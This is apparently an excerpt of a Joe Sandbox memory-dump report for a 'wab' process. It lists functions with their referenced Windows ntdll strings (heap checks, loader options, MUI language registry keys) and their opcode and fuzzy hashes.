UseImpersonatedDeviceMap, xrefs: 207B251C
TracingFlags, xrefs: 207B2549
CFGOptions, xrefs: 207B2967
MaxLoaderThreads, xrefs: 207B24EC
UnloadEventTraceDepth, xrefs: 207B24C0
@, xrefs: 207B2942
RaiseExceptionOnPossibleDeadlock, xrefs: 207B2579
MaxDeadActivationContexts, xrefs: 207B2D82
ShutdownFlags, xrefs: 207B24A1
GlobalFlag, xrefs: 207B2F3F, 207B3059
DisableExceptionChainValidation, xrefs: 207B275F
DisableHeapLookaside, xrefs: 207B246D
Initializing the application verifier package failed with status 0x%08lx, xrefs: 207B3176
LdrpInitializeExecutionOptions, xrefs: 207B317D

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 807b8b7aa28c1f238be4bf42b76da06bf93bd3f49b709f7b1ee6be08662353f2
Instruction ID: 4ae943d4ab6c6a2b225380dd7222b4a0cd1983209c816086bbbec69d370ca99e
Opcode Fuzzy Hash: 807b8b7aa28c1f238be4bf42b76da06bf93bd3f49b709f7b1ee6be08662353f2
Instruction Fuzzy Hash: 3492AA71609741AFD720CFA4C885B5BB7E8BBA4754F00492DFA94D72A0D734EC46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 2072D34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 2072D3B6
Control Panel\Desktop\MuiCached, xrefs: 2072D62B
PreferredUILanguagesPending, xrefs: 2078A8DE
@, xrefs: 2072D49D
H/u , xrefs: 2072D5CA
MachinePreferredUILanguages, xrefs: 2072D685
Control Panel\Desktop, xrefs: 2072D45D
PreferredUILanguages, xrefs: 2072D4B8, 2072D4C5
@, xrefs: 2072D3E9
@, xrefs: 2072D663

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/u $MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-4033214317
Opcode ID: 2f4aa94464b59083993b2962be853e4a9e492860152ba2dbfa20978fb54c655e
Instruction ID: 20473e0e1671893f3f17c04c906e3efbe434c82eba5b056c451b57bd77900230
Opcode Fuzzy Hash: 2f4aa94464b59083993b2962be853e4a9e492860152ba2dbfa20978fb54c655e
Instruction Fuzzy Hash: 2FB1BAB2908751EFC711CFA4D480B5BBBE8AB88754F41492EF988D7210D774DE48DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 207E12ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Free Heap block %p modified at %p after it was freed, xrefs: 207E171B
HEAP[%wZ]: , xrefs: 207E16CD, 207E16F9, 207E1749, 207E179B, 207E17FC, 207E1840, 207E18D9
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 207E186B
Heap block at %p has incorrect segment offset (%x), xrefs: 207E181A
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 207E18A5
Heap block at %p is not last block in segment (%p), xrefs: 207E17B7
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 207E18F8
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 207E176D
HEAP: , xrefs: 207E1706, 207E1756, 207E17A8, 207E1809, 207E184D, 207E1895, 207E18E6

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: 76c4da062abd4b00c053b836dfabc433792b0a028b787ac90005175659e07d2f
Instruction ID: 7b2affc1bc4bd6d888f56aee7aeb5d5b7c284a0b28ab2707ab915b1647459634
Opcode Fuzzy Hash: 76c4da062abd4b00c053b836dfabc433792b0a028b787ac90005175659e07d2f
Instruction Fuzzy Hash: F712DE70601642DFD719CFAAC486BBABBF1FF09714F148459E58A8B682D738EC80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 2072D08D Relevance: 11.5, Strings: 9, Instructions: 249COMMON

Download Yara Rule

Strings

Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 2072D146
@, xrefs: 2072D2AF
@, xrefs: 2072D313
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 2072D0CF
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 2072D2C3
Control Panel\Desktop\LanguageConfiguration, xrefs: 2072D196
H/u , xrefs: 2078A843
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 2072D262
@, xrefs: 2072D0FD

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$H/u $Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1308478018
Opcode ID: e0a17901296703f1260f3527cce8e521d62464284a0766e99994be730f48f6dd
Instruction ID: 11decb0eb198f8bcf1bbe0f50796a05389c4e445e5a1c6a656e8f092288cddac
Opcode Fuzzy Hash: e0a17901296703f1260f3527cce8e521d62464284a0766e99994be730f48f6dd
Instruction Fuzzy Hash: FAA18AB1808745DFE711CFA0D484B9BB7E8BB94765F00892EF69897250E774C908DB93

Uniqueness

Uniqueness Score: -1.00%

Function 207C9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

\Sessions, xrefs: 207C9488
Global\Session\%ld%s, xrefs: 207C94C5
BaseNamedObjects, xrefs: 207C9477, 207C947C
AppContainerNamedObjects, xrefs: 207C946E, 207C94D6
\AppContainerNamedObjects, xrefs: 207C94AB, 207C94B9
%s\%u-%u-%u-%u, xrefs: 207C9422
%s\%ld\%s, xrefs: 207C948D
\BaseNamedObjects, xrefs: 207C949E

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: 2d59160feae44121b97f6a35be7aad2c83e86c278f1fe7c4a134c62f0e4cb53f
Instruction ID: 7e00f3a8dc0e1a28c4ab57d2a4436f27584d6fe3c2b871044d5073a6c4c8ef05
Opcode Fuzzy Hash: 2d59160feae44121b97f6a35be7aad2c83e86c278f1fe7c4a134c62f0e4cb53f
Instruction Fuzzy Hash: D5D113B2805351EBD761CBE0C889BABB7F8AF94754F004929FA94A7190D730CE49C792

Uniqueness

Uniqueness Score: -1.00%

Function 207E0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 207E0399, 207E04A8, 207E05D0, 207E0675, 207E06CC
About to reallocate block at %p to %Ix bytes, xrefs: 207E03BA
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 207E06EA
Just reallocated block at %p to %Ix bytes, xrefs: 207E05F1
HEAP: , xrefs: 207E03A6, 207E04B5, 207E05DD, 207E0682, 207E06D9
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 207E04D3
RtlReAllocateHeap, xrefs: 207E02BF, 207E0362
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 207E069F

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: 4f2b7de7d4900fbec8a148e1d4d7fa248822aaf475730eae42d7d58141f3ffec
Instruction ID: f432e0f37c5ca6add24901f83235c531d393cf04a67258b17c20be4fccbc6716
Opcode Fuzzy Hash: 4f2b7de7d4900fbec8a148e1d4d7fa248822aaf475730eae42d7d58141f3ffec
Instruction Fuzzy Hash: 00D1DE31505A85DFCB02CFE5C445BAEBBF1FF5A314F048059E9899B262C738A991DF90

Uniqueness

Uniqueness Score: -1.00%

Function 2072F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 2078DF57, 2078E09B, 2078E279, 2078E391
(LONG)FreeEntry->Size > 1, xrefs: 2078E291
((LONG)FreeEntry->Size > 1), xrefs: 2078E0B3
(UCRBlock != NULL), xrefs: 2078DF6F
HEAP: , xrefs: 2078DF64, 2078E0A8, 2078E286, 2078E39E
(!TrailingUCR), xrefs: 2078E3A9

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 5817b8ad4808b3b23abcffc50440d3f82f68dd55b027b9f25afd894a5894bdfe
Instruction ID: fa389a37a1ce3da3c457ca2567c0fa378d867c1d41bf45c00f0f5c7fb253b8b7
Opcode Fuzzy Hash: 5817b8ad4808b3b23abcffc50440d3f82f68dd55b027b9f25afd894a5894bdfe
Instruction Fuzzy Hash: 7E42CB71608A81DFC705CFA8E888B2ABBE5FF88204F14496DF5958B352D734ED81DB52

Uniqueness

Uniqueness Score: -1.00%

Function 207551EF Relevance: 7.9, Strings: 6, Instructions: 434COMMON

Download Yara Rule

Strings

H/u , xrefs: 207554F0, 207554AF, 2079BC60, 207553DD, 2079BBFC, 20755304, 20755307, 207553E0, 207554B2, 207554F3, 2079BBFF, 2079BC63
WindowsExcludedProcs, xrefs: 2075522A
Kernel-MUI-Language-SKU, xrefs: 2075542B
Kernel-MUI-Language-Disallowed, xrefs: 20755352
Kernel-MUI-Number-Allowed, xrefs: 20755247
Kernel-MUI-Language-Allowed, xrefs: 2075527B

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: H/u $Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-769995273
Opcode ID: 171a5c4c6f7fa1c1204314f8712d42b30ace39eb07752cd347effc87be0b3d1e
Instruction ID: 53f0022a24c188c75e4d985c7f9676861a4c925cd029866a4a83107206745bae
Opcode Fuzzy Hash: 171a5c4c6f7fa1c1204314f8712d42b30ace39eb07752cd347effc87be0b3d1e
Instruction Fuzzy Hash: E3F14972D01229EBCB01CFE8C994EDEBBF9FF48650F51406AE905E7250E6749E05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 2074B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 207984D0
LdrpPreprocessDllName, xrefs: 20798403, 207984D7
minkernel\ntdll\ldrutil.c, xrefs: 2079840D, 207984E1
DLL %wZ was redirected to %wZ by %s, xrefs: 207983FC
API set, xrefs: 207983F4, 207983F9
SxS, xrefs: 207983ED

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: 865002f4e74bea4ddda5f27ac6a05a6372f1a9e3745b9d47633cd56bf184387d
Instruction ID: bf37024d8f7ef6b061489ab0225b1e59f26d8c15b86f518189e1074c0923ddca
Opcode Fuzzy Hash: 865002f4e74bea4ddda5f27ac6a05a6372f1a9e3745b9d47633cd56bf184387d
Instruction Fuzzy Hash: D0C16735E00259EBCB148FE9C881BBEB7B5FF45310F248169E905AB692E7B4CD44D3A1

Uniqueness

Uniqueness Score: -1.00%

Function 207663FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 207A40E9, 207A414B, 207A420F, 207A4269
_LdrpInitialize, xrefs: 207A40DF, 207A4141, 207A4205, 207A425F
Process initialization failed with status 0x%08lx, xrefs: 207A413A
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 207A40D8
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 207A41FE
Delaying execution failed with status 0x%08lx, xrefs: 207A4258

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 57ca03b567bfe92f65adc7ae90a6beb29dce36e3180c04da797fb96b63bfb39c
Instruction ID: 24825a08ca2fff15065c7454b513d47ea0b3678a15d3b03fa54ca549831065d9
Opcode Fuzzy Hash: 57ca03b567bfe92f65adc7ae90a6beb29dce36e3180c04da797fb96b63bfb39c
Instruction Fuzzy Hash: F6912370A00694DFDB14CBD0CC99B9A7BA0FB90768F904238FD026B2D1DB798D42D791

Uniqueness

Uniqueness Score: -1.00%

Function 207DF525 Relevance: 7.7, Strings: 6, Instructions: 231COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 207DF6E7, 207DF794, 207DF7EB
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 207DF809
Just allocated block at %p for %Ix bytes, xrefs: 207DF708
HEAP: , xrefs: 207DF6F4, 207DF7A1, 207DF7F8
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 207DF7BE
RtlAllocateHeap, xrefs: 207DF56D

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: 0ebe30f8e204e0133c8656a764510de2fd4e08edddb911993b8563059bbc27f3
Instruction ID: 34f9406b1f6a82f74c4a444881f36286fa12de721b92d95766285eae8afdaac9
Opcode Fuzzy Hash: 0ebe30f8e204e0133c8656a764510de2fd4e08edddb911993b8563059bbc27f3
Instruction Fuzzy Hash: 9B91DD32900A84DFCB01CFE8C485B9ABBF2FF59314F148059E999AB762CB359981DB10

Uniqueness

Uniqueness Score: -1.00%

Function 2075F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 207A02BD
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 207A02E7
RTL: Re-Waiting, xrefs: 207A031E

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: c431479346dbf4785fb12e904995eb2809e89f1aab17a09357e378b091c9658b
Instruction ID: e21c46da46d8095cac506292880a53a0c9847c87e531fa8073dad52c5b7cb86e
Opcode Fuzzy Hash: c431479346dbf4785fb12e904995eb2809e89f1aab17a09357e378b091c9658b
Instruction Fuzzy Hash: 5FE19E30604741DFD711CFA8C885B5ABBE0FB88354F604A2DF9A58B2E1D775E949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 207E11A4 Relevance: 6.4, Strings: 5, Instructions: 113COMMON

Download Yara Rule

Strings

-r `, xrefs: 207E1270
HEAP[%wZ]: , xrefs: 207E123D, 207E12B7
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 207E1261
This is located in the %s field of the heap header., xrefs: 207E12D6
HEAP: , xrefs: 207E124A, 207E125D, 207E125F, 207E12C4

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$ -r `$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-2515160973
Opcode ID: f00613cb259e62e657b6b3634751cc88a9b0b75958fdd40548b5da1de7c05bcc
Instruction ID: 12e7e934533bfb44ccaa0a674507b65e8f1ff511e429668ea06d5a6aa73e6667
Opcode Fuzzy Hash: f00613cb259e62e657b6b3634751cc88a9b0b75958fdd40548b5da1de7c05bcc
Instruction Fuzzy Hash: 9D31DC71202510EFD709CBE9CC86F5A77E9FF08664F204255F649CB2A1E634ED80EA65

Uniqueness

Uniqueness Score: -1.00%

Function 207470C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 20747C6D, 20748670
HEAP: , xrefs: 20747C7C, 2074867F
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 20747C96, 20748696

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: bf22dad8ccb17a0a82d183ae7da8dc4aa9f04a3950348876e5e3295db576b314
Instruction ID: a1bf0a57928a26ecd200e3040c73a073c5a8fd9a5f0dc2f3e357e56444e23abc
Opcode Fuzzy Hash: bf22dad8ccb17a0a82d183ae7da8dc4aa9f04a3950348876e5e3295db576b314
Instruction Fuzzy Hash: 60137B70E00699CFDB55CFA8C480BADBBF1BF49304F2481A9D949AB782D774AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 20741070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 20795877
@, xrefs: 20795A53
HEAP: , xrefs: 20795884
!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 2079588F

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 0-3570731704
Opcode ID: f717e7f0fb5d042f5f667d15b6f58d9055b55066c1e33279f220499fc9b645b8
Instruction ID: 8b9e9236d09532d75cd3ec69fc5e83ebfdb6ca26e0609ac36fd48cc0f775c36a
Opcode Fuzzy Hash: f717e7f0fb5d042f5f667d15b6f58d9055b55066c1e33279f220499fc9b645b8
Instruction Fuzzy Hash: 38925571E01269CFEB20DFA8C885F99B7B6BF44314F1181EAE949A7291D7349E80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 2073A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Enter, xrefs: 2073A3EF
LdrResFallbackLangList Exit, xrefs: 2073A3FF
8, xrefs: 2073A3E7
6, xrefs: 2073A3F7

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 68b692ab66dee356e67304b34207d944afbd6f05deff69931f77b2b14f9104ef
Instruction ID: 9155e0f570ea4d04d0148b37fb9dfe6ed570353e6a98e99e5598ee17a1544c4d
Opcode Fuzzy Hash: 68b692ab66dee356e67304b34207d944afbd6f05deff69931f77b2b14f9104ef
Instruction Fuzzy Hash: 82C1BF74108386EFE711CF98C046B5AB7E4FF94704F00496AF995CB252E778CA46CB62

Uniqueness

Uniqueness Score: -1.00%

Function 20768402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 20768421
LdrpInitializeProcess, xrefs: 20768422
@, xrefs: 20768591
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 2076855E

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: ae3eff5a0baed9601a99a6e88fc4344ed6017a64568000b30a0d91ae6ab1001b
Instruction ID: af71112ed302395a5148a49d6b499d7826a5219095e840c97ea490e19b23bd24
Opcode Fuzzy Hash: ae3eff5a0baed9601a99a6e88fc4344ed6017a64568000b30a0d91ae6ab1001b
Instruction Fuzzy Hash: DE919DB1508344EFD721CFA0CC85F6BBBE8FB94694F404A2EFA8596561E734C9049B62

Uniqueness

Uniqueness Score: -1.00%

